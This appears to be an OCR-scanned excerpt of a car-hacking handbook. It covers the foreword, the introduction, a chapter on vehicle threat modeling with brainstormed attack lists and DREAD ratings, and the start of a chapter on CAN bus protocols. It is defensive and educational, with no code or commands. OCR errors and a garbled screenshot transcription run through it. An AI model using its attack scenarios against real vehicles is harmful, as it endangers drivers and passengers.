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FOREWORD

The world needs more hackers, and the world definitely needs more car
hackers. Vehicle technology is trending toward more complexity and more
connectivity. Combined, these trends will require a greater focus on
automotive security and more talented individuals to provide this focus.

But what is a hacker? The term is widely corrupted by the mainstream
media, but correct use of the term hacker refers to someone who creates, who
explores, who tinkers—someone who discovers by the art of experimentation
and by disassembling systems to understand how they work. In my
experience, the best security professionals (and hobbyists) are those who are
naturally curious about how things work. These people explore, tinker,
experiment, and disassemble, sometimes just for the joy of discovery. These

people hack.

A car can be a daunting hacking target. Most cars don’t come with a
keyboard and login prompt, but they do come with a possibly unfamiliar
array of protocols, CPUs, connectors, and operating systems. This book will
demystify the common components in cars and introduce you to readily
available tools and information to help get you started. By the time you’ve
finished reading the book, you’ll understand that a car is a collection of
connected computers—there just happen to be wheels attached. Armed with
appropriate tooling and information, you’ll have the confidence to get
hacking.

This book also contains many themes about openness. We’re all safer
when the systems we depend upon are inspectable, auditable, and
documented—and this definitely includes cars. So I’d encourage you to use
the knowledge gained from this book to inspect, audit, and document. I look
forward to reading about some of your discoveries!

Chris Evans (@scarybeasts)
January 2016
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INTRODUCTION

In 2014, Open Garages—a group of people interested in sharing and
collaborating on vehicle security—released the first Car Hacker’s Manual as
course material for car hacking classes. The original book was designed to fit
in a vehicle’s glove box and to cover the basics of car hacking in a one- or
two-day class on auto security. Little did we know how much interest there
would be in that that first book: we had over 300,000 downloads in the first
week. In fact, the book’s popularity shut down our Internet service provider
(twice!) and made them a bit unhappy with us. (It’s okay, they forgave us,
which is good because I love my small ISP. Hi SpeedSpan.net!)

The feedback from readers was mostly fantastic; most of the criticism had
to do with the fact that the manual was too short and didn’t go into enough
detail. This book aims to address those complaints. The Car Hacker’s
Handbook goes into a lot more detail about car hacking and even covers some
things that aren’t directly related to security, like performance tuning and
useful tools for understanding and working with vehicles.

Why Car Hacking Is Good for All of Us

If you’re holding this book, you may already know why you’d want to hack
cars. But just in case, here’s a handy list detailing the benefits of car hacking:

Understanding How Your Vehicle Works

The automotive industry has churned out some amazing vehicles, with
complicated electronics and computer systems, but it has released little
information about what makes those systems work. Once you
understand how a vehicle’s network works and how it communicates



within its own system and outside of it, you’ll be better able to diagnose
and troubleshoot problems.

Working on Your Vehicle’s Electrical Systems

As vehicles have evolved, they’ve become less mechanical and more
electronic. Unfortunately, automotive electronics systems are typically
closed off to all but the dealership mechanics. While dealerships have
access to more information than you as an individual can typically get,
the auto manufacturers themselves outsource parts and require
proprietary tools to diagnose problems. Learning how your vehicle’s
electronics work can help you bypass this barrier.

Modifying Your Vehicle

Understanding how vehicles communicate can lead to better
modifications, like improved fuel consumption and use of third-party
replacement parts. Once you understand the communication system,
you can seamlessly integrate other systems into your vehicle, like an
additional display to show performance or a third-party component that
integrates just as well as the factory default.

Discovering Undocumented Features

Sometimes vehicles are equipped with features that are undocumented
or simply disabled. Discovering undocumented or disabled features and
utilizing them lets you use your vehicle to its fullest potential. For
example, the vehicle may have an undocumented “valet mode” that
allows you to put your car in a restricted mode before handing over the
keys to a valet.

Validating the Security of Your Vehicle

As of this writing, vehicle safety guidelines don’t address malicious
electronic threats. While vehicles are susceptible to the same malware as
your desktop, automakers aren’t required to audit the security of a
vehicle’s electronics. This situation is simply unacceptable: we drive our
families and friends around in these vehicles, and every one of us needs
to know that our vehicles are as safe as can be. If you learn how to hack
your car, you’ll know where your vehicle is vulnerable so that you can
take precautions and be a better advocate for higher safety standards.



Helping the Auto Industry

The auto industry can benefit from the knowledge contained in this
book as well. This book presents guidelines for identifying threats as
well as modern techniques to circumvent current protections. In
addition to helping you design your security practice, this book offers
guidance to researchers in how to communicate their findings.

Today’s vehicles are more electronic than ever. In a report in [EEE
Spectrum titled “This Car Runs on Code,” author Robert N. Charette notes
that as of 2009 vehicles have typically been built with over 100
microprocessors, 50 electronic control units, 5 miles of wiring, and 100
million lines of code (bttp://spectrum.ieee.org/transportation/systems/this-car-
runs-on-code). Engineers at Toyota joke that the only reason they put wheels
on a vehicle is to keep the computer from scraping the ground. As computer
systems become more integral to vehicles, performing security reviews
becomes more important and complex.

Car hacking should not be taken casually. Playing with your vebicle’s network,
wireless connections, onboard computers, or other electronics can damage or
disable it. Be very careful when experimenting with any of the techniques in
this book and keep safety as an overriding concern. As you might imagine,
neither the author nor the publisher of this book will be held accountable for
any damage to your vebicle.

What's in This Book

The Car Hacker’s Handbook walks you through what it takes to hack a vehicle.
We begin with an overview of the policies surrounding vehicle security and
then delve in to how to check whether your vehicle is secure and how to find
vulnerabilities in more sophisticated hardware systems.

Here’s a breakdown of what you’ll find in each chapter:

* Chapter 1: Understanding Threat Models teaches you how to assess a
vehicle. You’ll learn how to identify areas with the highest risk
components. If you work for the auto industry, this will serve as a useful
guide for building your own threat model systems.
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* Chapter 2: Bus Protocols details the various bus networks you may run
into when auditing a vehicle and explores the wiring, voltages, and
protocols that each bus uses.

* Chapter 3: Vehicle Communication with SocketCAN shows how to
use the SocketCAN interface on Linux to integrate numerous CAN
hardware tools so that you can write or use one tool regardless of your
equipment.

* Chapter 4: Diagnostics and Logging covers how to read engine codes,
the Unified Diagnostic Services, and the ISO-TP protocol. You'll learn
how different module services work, what their common weaknesses are,
and what information is logged about you and where that information is
stored.

* Chapter 5: Reverse Engineering the CAN Bus details how to analyze
the CAN network, including how to set up virtual testing environments
and how to use CAN security—related tools and fuzzers.

* Chapter 6: ECU Hacking focuses on the firmware that runs on the ECU.
You’ll discover how to access the firmware, how to modify it, and how to
analyze the firmware’s binary data.

* Chapter 7: Building and Using ECU Test Benches explains how to
remove parts from a vehicle to set up a safe testing environment. It also
discusses how to read wiring diagrams and simulate components of the
engine to the ECU, such as temperature sensors and the crank shaft.

* Chapter 8: Attacking ECUs and Other Embedded Systems covers
integrated circuit debugging pins and methodologies. We also look at side
channel analysis attacks, such as differential power analysis and clock
glitching, with step-by-step examples.

* Chapter 9: In-Vehicle Infotainment Systems details how infotainment
systems work. Because the in-vehicle infotainment system probably has the
largest attack surface, we’ll focus on different ways to get to its firmware
and execute on the system. This chapter also discusses some open source
in-vehicle infotainment systems that can be used for testing.

* Chapter 10: Vehicle-to-Vehicle Communication explains how the
proposed vehicle-to-vehicle network is designed to work. This chapter
covers cryptography as well as the different protocol proposals from



multiple countries. We’ll also discuss some potential weaknesses with
vehicle-to-vehicle systems.

* Chapter 11: Weaponizing CAN Findings details how to turn your
research into a working exploit. You’ll learn how to convert proof-of-
concept code to assembly code, and ultimately shellcode, and you’ll
examine ways of exploiting only the targeted vehicle, including ways to
probe a vehicle undetected.

* Chapter 12: Attacking Wireless Systems with SDR covers how to use
software-defined radio to analyze wireless communications, such as TPMS,
key fobs, and immobilizer systems. We review the encryption schemes you
may run into when dealing with immobilizers as well as any known
weaknesses.

* Chapter 13: Performance Tuning discusses techniques used to enhance
and modify a vehicle’s performance. We’ll cover chip tuning as well as
common tools and techniques used to tweak an engine so it works the way
you want it to.

* Appendix A: Tools of the Trade provides a list of software and hardware
tools that will be useful when building your automotive security lab.

* Appendix B: Diagnostic Code Modes and PIDs lists some common
modes and handy PIDS.

* Appendix C: Creating Your Own Open Garage explains how to get
involved in the car hacking community and start your own Open Garage.

By the end of the book, you should have a much deeper understanding of
how your vehicle’s computer systems work, where they’re most vulnerable,
and how those vulnerabilities might be exploited.



1
UNDERSTANDING THREAT MODELS

If you come from the software penetrationtesting world, you’re probably
already familiar with attack surfaces. For the rest of us, attack surface refers to
all the possible ways to attack a target, from vulnerabilities in individual
components to those that affect the entire vehicle.

When discussing the attack surface, we’re not considering how to exploit
a target; we're concerned only with the entry points into it. You might think
of the attack surface like the surface area versus the volume of an object.
T'wo objects can have the same volume but radically different surface areas.
The greater the surface area, the higher the exposure to risk. If you consider
an object’s volume its value, our goal in hardening security is to create a low
ratio of risk to value.

Finding Attack Surfaces

When evaluating a vehicle’s attack surface, think of yourself as an evil spy
who’s trying to do bad things to a vehicle. To find weaknesses in the
vehicle’s security, evaluate the vehicle’s perimeter, and document the
vehicle’s environment. Be sure to consider all the ways that data can get into
a vehicle, which are all the ways that a vehicle communicates with the
outside world.



As you examine the exterior of the vehicle, ask yourself these questions: ®
What signals are received? Radio waves? Key fobs? Distance sensors?

* Is there physical keypad access?
* Are there touch or motion sensors?

* If the vehicle is electric, how does it charge?

As you examine the interior, consider the following: ® What are the audio
input options: CD? USB? Bluetooth?

* Are there diagnostic ports?

* What are the capabilities of the dashboard? Is there a GPS? Bluetooth?
Internet?

As you can see, there are many ways data can enter the vehicle. If any of
this data is malformed or intentionally malicious, what happens? This is
where threat modeling comes in.

Threat Modeling

Entire books have been written about threat modeling, but I'm going to give
you just a quick tour so you can build your own threat models. (If you have
further questions or if this section excites you, by all means, grab another
book on the subject!) When threat modeling a car, you collect information
about the architecture of your target and create a diagram to illustrate how
parts of the car communicate. You then use these maps to identify higher-
risk inputs and to keep a checklist of things to audit; this will help you
prioritize entry points that could yield the most return.

Threat models are typically made during the product development and
design process. If the company producing a particular product has a good
development life cycle, it creates the threat model when product
development begins and continuously updates the model as the product
moves through the development life cycle. Threat models are living
documents that change as the target changes and as you learn more about a
target, so you should update your threat model often.

Your threat model can consist of different levels; if a process in your
model is complicated, you should consider breaking it down further by



adding more levels to your diagrams. In the beginning, however, Level 2 is
about as far as you’ll be able to go. We’ll discuss the various levels in the
following sections, beginning with Threat Level 0.

Level O: Bird’s-Eye View

At this level, we use the checklist we built when considering attack surfaces.
Think about how data can enter the vehicle. Draw the vehicle in the center,
and then label the external and internal spaces. Figure 1-1 illustrates a
possible Level 0 diagram.

The rectangular boxes are the inputs, and the circle in the center
represents the entire vehicle. On their way to the vehicle, the inputs cross
two dotted lines, which represent external and internal threats.

The vehicle circle doesn’t represent an input but rather a complex process
—that s, a series of tasks that could be broken down further. Processes are
numbered, and as you can see, this one is number 1.0. If you had more than
one complex piece in your threat model, you would number those in
succession. For instance, you would label a second process 2.0; a third, 3.0;
and so on. As you learn about your vehicle’s features, you update the
diagram. It’s okay if you don’t recognize all of the acronyms in the diagram
yet; you will soon.



Cellular

Wi-Fi
Bluetooth
TPMS
External T
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Infotainment/Nav Console
USB
OBD-Il Connector
CAN Bus Splicing

Figure 1-1: Level O inputs

Level 1: Receivers

T'o move on to the Level 1 diagram, pick a process to explore. Because we
have only the one process in our diagram, let’s dig in to the vehicle process
and focus on what each input talks to.

The Level 1 map shown in Figure 1-2 is almost identical to that in Level
0. The only difference is that here we specify the vehicle connections that
receive the Level 0 input. We won’t look at the receivers in depth just yet;
we’re looking only at the basic device or area that the input talks to.



Cellular Wi-Fi
Llong-Range External
Bluetooth KES TPAS
Mear-Range External
uUse Infctainment, 11
Mav Console 2
CAN Splicing OBDAI
Internal
Vehicle Internal
Metwork
s TPMS
Immobilizer A
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Figure 1-2: Level 1 map of inputs and vehicle connections

Notice in Figure 1-2 that we number each receiver. The first digit
represents the process label from the Level 0 diagram in Figure 1-1, and the
second digit is the number of the receiver. Because the infotainment unit is
both a complex process and an input, we’ve given it a process circle. We now
have three other processes: immobilizer, ECU, and TPMS Receiver.

The dotted lines in the Level 1 map represent divisions between trust
boundaries. The inputs at the top of the diagram are the least trusted, and
the ones at the bottom are the most trusted. The more trust boundaries that
a communication channel crosses, the more risky that channel becomes.



Level 2: Receiver Breakdown

At Level 2, we examine the communication taking place inside the vehicle.
Our sample diagram (Figure 1-3) focuses on a Linux-based infotainment
console, receiver 1.1. This is one of the more complicated receivers, and it’s
often directly connected to the vehicle’s internal network.

In Figure 1-3, we group the communications channels into boxes with
dashed lines to once again represent trust boundaries. Now there’s a new
trust boundary inside the infotainment console called kernel space. Systems
that talk directly to the kernel hold higher risk than ones that talk to system
applications because they may bypass any access control mechanisms on the
infotainment unit. Therefore, the cellular channel is higher risk than the
Wi-Fi channel because it crosses a trust boundary into kernel space; the Wi-
Fi channel, on the other hand, communicates with the WPA supplicant
process 1n user space.
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Figure 1-3: Level 2 map of the infotainment console

This system is a Linux-based in-vehicle infotainment (IVI) system, and it
uses parts common to a Linux environment. In the kernel space, you see
references to the kernel modules udev, HSI, and Kvaser, which receive input
from our threat model. The udev module loads USB devices, HSI is a serial
driver that handles cellular communication, and Kvaser is the vehicle’s
network driver.

The numbering pattern for Level 2 is now X.X.X, and the identification
system is the same as before. At Level 0, we took the vehicle process that was
1.0 and dove deeper into it. We then marked all processes within Level 1 as
1.1, 1.2, and so on. Next, we selected the infotainment process marked 1.1



and broke it down further for the Level 2 diagram. At Level 2, therefore, we
labeled all complex processes as 1.1.1, 1.1.2, and so on. (You can continue
the same numbering scheme as you dive even deeper into the processes. The
numbering scheme is for documentation purposes; it allows you to reference
the exact process at the appropriate level.)

Ideally at this stage, you’d map out which processes handle which inputs, but we’ll
have to guess for now. In the real world, you’d need to reverse engineer the
infotainment system to find this information.

When building or designing an automotive system, you should continue
to drill down into as many complex processes as possible. Bring in the
development team, and start discussing the methods and libraries used by
each application so you can incorporate them into their own threat
diagrams. You'll likely find that the trust boundaries at the application level
will usually be between the application and the kernel, between the
application and the libraries, between the application and other applications,
and even between functions. When exploring these connections, mark
methods that have higher privileges or that handle more sensitive
information.

Threat Identification

Now that we’ve gone two levels deep into our threat modeling maps, we can
begin to identify potential threats. Threat identification is often more fun to
do with a group of people and a whiteboard, but you can do it on your own
as a thought exercise.

Let’s try this exercise together. Start at Level O—the bird’s-eye view—
and consider potential high-level problems with inputs, receivers, and threat
boundaries. Now let’s list all potential threats with our threat models.

Level O: Bird’s-Eye View

When determining potential threats at Level 0, try to stay high level. Some
of these threats may seem unrealistic because you’re aware of additional
hurdles or protections, but it’s important to include all possible threats in
this list, even if some have already been addressed. The point here is to



brainstorm all the risks of each process and input.

The high-level threats at Level 0 are that an attacker could: ® Remotely
take over a vehicle

® Shut down a vehicle

* Spy on vehicle occupants
* Unlock a vehicle

* Steal a vehicle

® Track a vehicle

* Thwart safety systems

¢ [nstall malware on the vehicle

At first, it may be difficult to come up with a bunch of attack scenarios.
It’s often good to have people who are not engineers also participate at this
stage because as a developer or an engineer, you tend to be so involved in the
inner workings that it’s natural to discredit ideas without even meaning to.

Be creative; try to come up with the most James Bond-villain attack you
can think of. Maybe think of other attack scenarios and whether they could
also apply to vehicles. For example, consider ransomware, a malicious
software that can encrypt or lock you out of your computer or phone until
you pay money to someone controlling the software remotely. Could this be
used on vehicles? The answer is yes. Write ransomware down.

Level 1: Receivers

Threat identification at Level 1 focuses more on the connections of each
piece rather than connections that might be made directly to an input. The
vulnerabilities that we posit at this level relate to vulnerabilities that affect
what connects to the devices in a vehicle.

We’ll break these down into threat groupings that relate to cellular, Wi-
Fi, key fob (KES), tire pressure monitor sensor (I'PMS), infotainment
console, USB, Bluetooth, and controller area network (CAN) bus
connections. As you can see in the following lists, there are many potential
ways into a vehicle.



Cellular

An attacker could exploit the cellular connection in a vehicle to: ® Access the
internal vehicle network from anywhere

* Exploit the application in the infotainment unit that handles incoming
calls ® Access the subscriber identity module (SIM) through the
infotainment unit ® Use a cellular network to connect to the remote
diagnostic system (OnStar) ® Eavesdrop on cellular communications

® Jam distress calls ® Track the vehicle’s movements

* Set up a fake Global System for Mobile Communications (GSM) base
station

Wi-Fi

An attacker could exploit the Wi-Fi connection to: ® Access the vehicle
network from up to 300 yards away or more ® Find an exploit for the
software that handles incoming connections ® Install malicious code on the
infotainment unit

* Break the Wi-Fi password

* Set up a fake dealer access point to trick the vehicle into thinking it’s being
serviced ® Intercept communications passing through the Wi-Fi network ®

T'rack the vehicle

Key Fob

An attacker could exploit the key fob connection to: ® Send malformed key
fob requests that put the vehicle’s immobilizer in an unknown state. (The
immobilizer is supposed to keep the vehicle locked so it can’t be hotwired.
We need to ensure that it maintains proper functionality.) ® Actively probe
an immobilizer to drain the car battery ® Lock out a key

* Capture cryptographic information leaked from the immobilizer during
the handshake process ® Brute-force the key fob algorithm

* Clone the key fob
* Jam the key fob signal



® Drain the power from the key fob

Tire Pressure Monitor Sensor

An attacker could exploit the TPMS connection to: ® Send an impossible
condition to the engine control unit (ECU), causing a fault that could then
be exploited ® Trick the ECU into overcorrecting for spoofed road
conditions ® Put the TPMS receiver or the ECU into an unrecoverable state
that might cause a driver to pull over to check for a reported flat or that
might even shut down the vehicle ® Track a vehicle based on the TPMS
unique IDs

* Spoof the TPMS signal to set off internal alarms

Infotainment Console

An attacker could exploit the infotainment console connection to: ® Put the
console into debug mode

* Alter diagnostic settings
* Find an input bug that causes unexpected results
* Install malware to the console

* Use a malicious application to access the internal CAN bus network ® Use
a malicious application to eavesdrop on actions taken by vehicle occupants
* Use a malicious application to spoof data displayed to the user, such as
the vehicle location

USB

An attacker could use a USB port connection to:

¢ Install malware on the infotainment unit

* Exploit a flaw in the USB stack of the infotainment unit ® Attach a
malicious USB device with specially crafted files designed to break
importers on the infotainment unit, such as the address book and MP3
decoders ® Install modified update software on the vehicle

* Short the USB port, thus damaging the infotainment system



Bluetooth

An attacker could use a Bluetooth connection to: ® Execute code on the
infotainment unit

* Exploit a flaw in the Bluetooth stack of the infotainment unit ® Upload
malformed information, such as a corrupted address book designed to
execute code ® Access the vehicle from close ranges (less than 300 feet) ®
Jam the Bluetooth device

Controller Area Network

An attacker could exploit the CAN bus connection to: ® Install a malicious
diagnostic device to send packets to the CAN bus ® Plug directly in to a
CAN bus to attempt to start a vehicle without a key ® Plug directly in to a
CAN bus to upload malware

* Install a malicious diagnostic device to track the vehicle ® Install a
malicious diagnostic device to enable remote communications directly to
the CAN bus, making a normally internal attack now an external threat

Level 2: Receiver Breakdown

At Level 2, we can talk more about identifying specific threats. As we look at
exactly which application handles which connection, we can start to perform
validation based on possible threats.

We’ll break up threats into five groups: Bluez (the Bluetooth daemon),
the wpa_supplicant (the Wi-Fi daemon), HSI (high-speed synchronous
interface cellular kernel module), udev (kernel device manager), and the
Kvaser driver (CAN transceiver driver). In the following lists, I've specified
threats to each program.

Bluez

Older or unpatched versions of the Bluez daemon: ® May be exploitable

® May be unable to handle corrupt address books
* May not be configured to ensure proper encryption

® May not be configured to handle secure handshaking



® May use default passkeys

wpa_supplicant
* Older versions may be exploitable

* May not enforce proper WPA2 style wireless encryption ® May connect to
malicious access points

® May leak information on the driver via BSSID (network interface)

HSI

* Older versions may be exploitable

* May be susceptible to injectable serial communication (man-in-the-middle
attacks in which the attacker inserts serial commands into the data stream)

udev

* Older, unpatched versions may be susceptible to attack ® May not have a
maintained whitelist of devices, allowing an attacker to load additional
drivers or USB devices that were not tested or intended for use ® May
allow an attacker to load foreign devices, such as a keyboard to access the
infotainment system

Kvaser Driver
* Older, unpatched versions may be exploitable

* May allow an attacker to upload malicious firmware to the Kvaser device
These lists of potential vulnerabilities are by no means exhaustive, but they
should give you an idea of how this brainstorming session works. If you
were to go to a Level 3 map of potential threats to your vehicle, you would
pick one of the processes, like HSI, and start to look at its kernel source to
identify sensitive methods and dependencies that might be vulnerable to
attack.

Threat Rating Systems

Having documented many of our threats, we can now rate them with a risk
level. Common rating systems include DREAD, ASIL, and MIL-STD-



882E. DREAD is commonly used in web testing, while the automotive
industry and government use ISO 26262 ASIL and MIL-STD-882E,
respectively, for threat rating. Unfortunately, ISO 26262 ASIL and MIL-
STD-882E are focused on safety failures and are not adequate to handle
malicious threats. More details on these standards can be found at
http://opengarages.org/index.php/Policies_and_Guidelines.

The DREAD Rating System

DREAD stands for the following:
Damage potential How great is the damage?
Reproducibility How easy is it to reproduce?
Exploitability How easy is it to attack?
Affected users How many users are affected?
Discoverabilty How easy is it to find the vulnerability?

Table 1-1 lists the risk levels from 1 to 3 for each rating category.

Table 1-1: DREAD Rating System

Rating High (3) Medium (2) Low (1)
category
D Damage Could subvert the Could leak sensitive  Could leak
potential security system  information trivial
and gain full trust, information
ultimately taking
over the
environment
R Reproducibility Is always Can be reproduced  Is very difficult
reproducible only during a specific to reproduce,
condition or window even given
of time specific
information
about the

vulnerability


http://opengarages.org/index.php/Policies_and_Guidelines

E Exploitability Allows a novice  Allows a skilled Allows only a

attacker to attacker to create an  skilled attacker
execute the attack that could be  with in-depth
exploit used repeatedly knowledge to
perform the
attack
A Affected users Affects all users, Affects some users or Affects a very
including the specific setups small percentage
default setup user of users;
and key customers typically affects
an obscure
feature
D Discoverability Can be easily Affects a seldom-used Is obscure,
found in a part, meaning an meaning it’s
published attacker would need unlikely
explanation of the to be very creative to attackers would
attack discover a malicious find a way to
use for it exploit it

Now we can apply each DREAD category from Table 1-1 to an
identified threat from earlier in the chapter and score the threat from low to
high (1-3). For instance, if we take the Level 2 HSI threats discussed in
“Level 2: Receiver Breakdown” on page 10, we can come up with threat
ratings like the ones shown in Table 1-2.

Table 1-2: HSI Level 2 Threats with DREAD Scores

HSI threats DREAD Total
An older, unpatched version of HSI that may be 33233 14
exploitable

An HSI that may be susceptible to injectable serial 2223312
communication

You can identify the overall rating by using the values in the Total
column, as shown in Table 1-3.



Table 1-3: DREAD Risk Scoring Chart

Total Risk level
5-7 Low

8-11 Medium
12-15 High

When performing a risk assessment, it’s good practice to leave the
scoring results visible so that the person reading the results can better
understand the risks. In the case of the HSI threats, we can assign high risk
to each of these threats, as shown in Table 1-4.

Table 1-4: HSI Level 2 Threats with DREAD Risk Levels Applied

HSI threats D RE A D Total Risk
An older, unpatched version of HSI that may be 33233 14 High
exploitable

An HSI that may be susceptible to injectable serial 2 2 2 3 3 12 High

communication

Although both risks are marked as high, we can see that the older version
of the HSI model poses a slightly higher risk than do the injectable serial
attacks, so we can make it a priority to address this risk first. We can also see
that the reason why the injectable serial communication risk is lower is that
the damage is less severe and the exploit is harder to reproduce than that of
an old version of HSI.

CVSS: An Alternative to DREAD

If DREAD isn’t detailed enough for you, consider the more detailed risk
methodology known as the common vulnerability scoring system (CVSS). CVSS
offers many more categories and details than DREAD in three groups: base,
temporal, and environmental. Each group is subdivided into sub areas—six
for base, three for temporal, and five for environmental—for a total of 14
scoring areas! (For detailed information on how CVSS works, see
http://www.first.org/cuss/cuss-guide.)


http://www.first.org/cvss/cvss-guide

While we could use ISO 26262 ASIL or MIL-STD-882E when rating threats,
we want more detail than just Risk = Probability x Severity. If you have to pick
between these two systems for a security review, go with MIL-STD-882E from
the Department of Defense (DoD). The Automotive Safety Integrity Level
(ASIL) system will too often have a risk fall into the QM ranking, which
basically translates to “meb.” The DoD’s system tends to result in a higher
ranking, which equates to a higher value for the cost of a life. Also, MIL-STD-
882L is designed to be applied throughout the life cycle of a system, including
disposal, which is a nice fit with a secure development life cycle.

Working with Threat Model Results

At this point, we have a layout of many of the potential threats to our
vehicle, and we have them ranked by risk. Now what? Well, that depends on
what team you’re on. To use military jargon, the attacker side is the “red
team,” and the defender side is the “blue team.” If you’re on the red team,
your next step is to start attacking the highest risk areas that are likely to
have the best chance of success. If you’re on the blue team, go back to your
risk chart and modify each threat with a countermeasure.

For example, if we were to take the two risks in “The DREAD Rating
System” on page 11, we could add a countermeasure section to each. Table
1-5 includes the countermeasure for the HSI code execution risk, and Table
1-6 includes the countermeasure for the risk of HSI interception.

Table 1-5: HS| Code Execution Risk

Threat Executes code in the kernel space

Risk High
Attack technique Exploit vulnerability in older versions of HSI

Countermeasures Kernel and kernel modules should be updated with the
latest kernel releases

Table 1-6: Intercepting HSI Commands

Threat Intercepts and injects commands from the cellular



network
Risk High

Attack technique Intercept serial communications over HSI

Countermeasures All commands sent over cellular are cryptographically
signed

Now you have a documented list of high-risk vulnerabilities with
solutions. You can prioritize any solutions not currently implemented based
on the risk of not implementing that solution.

Summary

In this chapter you learned the importance of using threat models to identify
and document your security posture, and of getting both technical and
nontechnical people to brainstorm possible scenarios. We then drilled down
into these scenarios to identify all potential risks. Using a scoring system, we
ranked and categorized each potential risk. After assessing threats in this
way, we ended up with a document that defined our current product security
posture, any countermeasure currently in place, and a task list of high-
priority items that still need to be addressed.



2
BUS PROTOCOLS

In this chapter, we’ll discuss the different bus protocols common in vehicle
communications. Your vehicle may have only one of these, or if it was built
earlier than 2000, it may have none.

Bus protocols govern the transfer of packets through the network of your
vehicle. Several networks and hundreds of sensors communicate on these bus
systems, sending messages that control how the vehicle behaves and what
information the network knows at any given time.

Each manufacturer decides which bus and which protocols make the most
sense for its vehicle. One protocol, the CAN bus, exists in a standard
location on all vehicles: on the OBD-II connector. That said, the packets
themselves that travel over a vehicle’s CAN bus aren’t standardized.

Vehicle-critical communication, such as RPM management and braking,
happens on high-speed bus lines, while noncritical communication, such as
door lock and A/C control, happens on mid- to low-speed bus lines.

We’ll detail the different buses and protocols you may run across on your

vehicle. To determine the bus lines for your specific vehicle, check its OBD-
IT pinout online.

The CAN Bus



CAN is a simple protocol used in manufacturing and in the automobile
industry. Modern vehicles are full of little embedded systems and electronic
control units (ECUs) that can communicate using the CAN protocol. CAN
has been a standard on US cars and light trucks since 1996, but it wasn’t
made mandatory until 2008 (2001 for European vehicles). If your car is older
than 1996, it still may have CAN, but you’ll need to check.

CAN runs on two wires: CAN high (CANH) and CAN low (CANL).
CAN uses differential signaling (with the exception of low-speed CAN,
discussed in “The GMLAN Bus” on page 20), which means that when a
signal comes in, CAN raises the voltage on one line and drops the other line
an equal amount (see Figure 2-1). Differential signaling is used in
environments that must be fault tolerant to noise, such as in automotive
systems and manufacturing.

PicoScope 6 Beta

iy
L IR

Fle Edit Views Tools Help

@ o
MuiLou [ g | 2 4 [ [1oomsidv Twlfams |5] e bits v| Hsof7 0 [[s23.8 SEL ISR B l‘)i(..,‘.()
Al Auto '|DC vl |Autr> v|0c vl ﬂ
Scope e |
=200 E

mv v Sample interval s

i
I Sample rate 1 MS)s

s 7 il | ’"ll | ]‘ﬁ Mo.samples 1,000,000

HAW Resolution 8 bits
Window Black

Me. bins
Bin width

345.5

ipa.3
Time gate

- Channel A
Range *+500 mv
Coupling DC

2710

2338
Range 500 mv

Coupling DC
196.5 Signal type
Frequency
e Amplitude
& | | | Offset
122.0 Af e ¢ I|'||k ”“ I|""rl']F| ”_.1IJ._ o -;'--k | ;]L g Lpl‘JI'lrw--"lllrll‘ﬂ J.‘ I.l| o nor Ay ] r-l
Capture Date 4j28/2014
84,81 Capture Time  9:29:17 PM
47.50 @ :a
-283.9 -283.7 -283.5 -283.3 -283.1 -282.9 -282.8 -282.6 -282.4 -282.2 -282.0
EEm'.
vl s s i s s e cur |
StoppedJl_'lhgger Auto vl J'Ll B |v Ir_i|51 58 mv E "50% ]:|§Il s |:|&|‘.S ] |Measuremams [B| =]

Figure 2-1: CAN differential signaling

Figure 2-1 shows a signal captured using a PicoScope, which listens to
both CANH (darker lines at the top of the graph) and CANL (lighter lines
at the bottom of the graph). Notice that when a bit is transmitted on the
CAN bus, the signal will simultaneously broadcast both 1V higher and



lower. The sensors and ECUs have a transceiver that checks to ensure both
signals are triggered; if they are not, the transceiver rejects the packet as
noise.

The two twisted-pair wires make up the bus and require the bus to be
terminated on each end. There’s a 120-ohm resistor across both wires on the
termination ends. If the module isn’t on the end of the bus, it doesn’t have to
worry about termination. As someone who may tap into the lines, the only
time you’ll need to worry about termination is if you remove a terminating
device in order to sniff the wires.

The 0BD-Il Connector

Many vehicles come equipped with an OBD-II connector, also known as the
diagnostic link connector (DLC), which communicates with the vehicle’s
internal network. You'll usually find this connector under the steering
column or hidden elsewhere on the dash in a relatively accessible place. You

may have to hunt around for it, but its outline looks similar to that in Figure
2-2.

DLC — —— DLC

Brake Gas

Figure 2-2: Possible locations of the OBD-II connector

In some vehicles, you’ll find these connectors behind small access panels.
They’ll typically be either black or white. Some are easy to access, and others



are tucked up under the plastic. Search and you shall find!

Finding CAN Connections

CAN is easy to find when hunting through cables because its resting voltage
is 2.5V. When a signal comes in, it'll add or subtract 1V (3.5V or 1.5V).
CAN wires run through the vehicle and connect between the ECUs and
other sensors, and they’re always in dual-wire pairs. If you hook up a
multimeter and check the voltage of wires in your vehicle, you’ll find that
they’ll be at rest at 2.5V or fluctuating by 1V. If you find a wire transmitting
at 2.5V, it’s almost certainly CAN.

You should find the CANH and CANL connections on pins 6 and 14 of
your OBD-II connector, as shown in Figure 2-3.
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Figure 2-3: CAN pins cable view on the OBD-I| connector

In the figure, pins 6 and 14 are for standard high-speed CAN lines (HS-
CAN). Mid-speed and low-speed communications happen on other pins.



Some cars use CAN for the mid-speed (MS-CAN) and low-speed (LS-

CAN), but many vehicles use different protocols for these communications.

You'll find that not all buses are exposed via the OBD-II connector. You
can use wiring diagrams to help locate additional “internal” bus lines.

CAN Bus Packet Layout

There are two types of CAN packets: standard and extended. Extended
packets are like standard ones but with a larger space to hold IDs.

Standard Packets
Each CAN bus packet contains four key elements:

Arbitration ID The arbitration ID is a broadcast message that identifies
the ID of the device trying to communicate, though any one device can
send multiple arbitration IDs. If two CAN packets are sent along the bus
at the same time, the one with the lower arbitration ID wins.

Identifier extension (IDE) This bit is always 0 for standard CAN.

Data length code (DLC) This is the size of the data, which ranges from
0 to 8 bytes.

Data 'This is the data itself. The maximum size of the data carried by a
standard CAN bus packet can be up to 8 bytes, but some systems force 8
bytes by padding out the packet.

Figure 2-4 shows the format of standard CAN packets.
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Figure 2-4: Format of standard CAN packets



Because CAN bus packets are broadcast, all controllers on the same
network see every packet, kind of like UDP on Ethernet networks. The
packets don’t carry information about which controller (or attacker) sent
what. Because any device can see and transmit packets, it’s trivial for any
device on the bus to simulate any other device.

Extended Packets

Extended packets are like standard ones, except that they can be chained
together to create longer IDs. Extended packets are designed to fit inside
standard CAN formatting in order to maintain backward compatibility. So if
a sensor doesn’t have support for extended packets, it won’t break if another
packet transmits extended CAN packets on the same network.

Standard packets also differ from extended ones in their use of flags.
When looking at extended packets in a network dump, you’ll see that unlike
standard packets, extended packets use substitute remote request (SRR) in
place of the remote transmission request (RTR) with SSR set to 1. They’ll
also have the IDE set to 1, and their packets will have an 18-bit identifier,
